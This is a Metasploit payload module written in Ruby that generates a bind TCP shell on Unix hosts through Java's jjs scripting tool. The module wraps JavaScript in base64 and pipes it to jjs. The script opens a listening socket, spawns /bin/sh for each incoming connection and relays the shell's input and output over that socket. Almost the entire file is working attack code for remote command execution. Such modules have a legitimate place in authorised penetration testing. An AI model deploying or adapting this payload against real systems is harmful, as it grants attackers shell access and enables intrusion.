Unix Command Shell, Bind TCP (via jjs)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 795

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'        => 'Unix Command Shell, Bind TCP (via jjs)',
     'Description' => 'Listen for a connection and spawn a command shell via jjs',
     'Author'      => [
       'conerpirate', # jjs bind shell
       'bcoles'       # metasploit
     ],
     'References'    => [
       ['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],
       ['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],
       ['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],
     ],
     'License'     => MSF_LICENSE,
     'Platform'    => 'unix',
     'Arch'        => ARCH_CMD,
     'Handler'     => Msf::Handler::BindTcp,
     'Session'     => Msf::Sessions::CommandShell,
     'PayloadType' => 'cmd',
     'RequiredCmd' => 'jjs',
     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
    ))
    register_options(
      [
        OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])
      ]
    )
    register_advanced_options(
      [
        OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])
      ]
    )
  end

  def generate(_opts = {})
    return super + command_string
  end

  def command_string
    jcode = %Q{
      var ss=new java.net.ServerSocket(#{datastore['LPORT']});
      while(true){
        var s=ss.accept();
        var p=new java.lang.ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();
        var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
        var po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()){
          while(pi.available()>0)so.write(pi.read());
          while(pe.available()>0)so.write(pe.read());
          while(si.available()>0)po.write(si.read());
          so.flush();
          po.flush();
          java.lang.Thread.sleep(50);
          try{p.exitValue();break;}catch(e){}
        };
        p.destroy();s.close();ss.close();
      }
    }

    minified = jcode.split("\n").map(&:lstrip).join

    %Q{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}
  end
end